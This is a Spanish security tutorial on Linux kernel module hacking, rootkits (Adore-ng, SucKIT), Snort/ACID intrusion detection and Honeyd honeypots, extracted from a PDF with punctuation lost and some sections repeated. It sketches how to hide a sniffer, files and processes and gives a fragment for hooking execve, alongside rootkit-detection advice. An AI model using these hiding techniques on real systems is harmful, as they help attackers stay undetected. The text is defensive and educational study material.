De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
